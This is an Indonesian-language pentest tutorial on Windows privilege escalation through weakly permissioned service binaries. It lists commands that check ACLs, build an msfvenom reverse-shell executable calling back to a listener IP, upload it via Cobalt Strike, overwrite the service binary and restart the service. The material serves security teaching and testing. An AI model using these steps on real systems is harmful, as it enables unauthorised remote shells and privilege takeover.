Post

[Misconfig] Weak Service Binary Permissions

Weak Service Binary Permissions mengacu pada kelemahan atau kerentanan dalam izin (permission) yang diberikan pada binary (file eksekusi) yang digunakan oleh Windows service.

Ketika service dijalankan, ia menggunakan binary tertentu untuk menjalankan fungsi dan tugasnya.

Jika permission pada binary ini tidak diatur dengan benar, penyerang dapat memanipulasi atau menggantikan binary tersebut dengan malware, yang akan dijalankan dengan hak istimewa service saat service tersebut dijalankan.

0x1 - Exploitation Stages

Step 1: Check Binary Permission

1
PS > Get-Acl -Path "C:\Program Files\Vulnerable Services\Service 3.exe" | fl

Step 2: Create Malware and Upload

1
2
# Contoh buat malware dengan MSF
➜ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.73 LPORT=80 -f exe -o Foxit.exe  
1
2
# Contoh upload file pada Cobalt Strike
beacon> upload C:\Payloads\tcp-local_x64.svc.exe

Step 3: Replace the Service Binary

1
2
PS > cd "C:\Program Files\Vuln Services\"
PS > copy C:\temp\tcp-local_x64.svc.exe service

Step 4: Run the Service

1
2
3
C:\> sc qc VulnService2
C:\> sc stop VulnService2 
C:\> sc start VulnService2 

0x2 - References

  • https://steflan-security.com/windows-privilege-escalation-weak-permission/
  • https://pentestlab.blog/2017/03/30/weak-service-permissions/
This post is licensed under CC BY 4.0 by the author.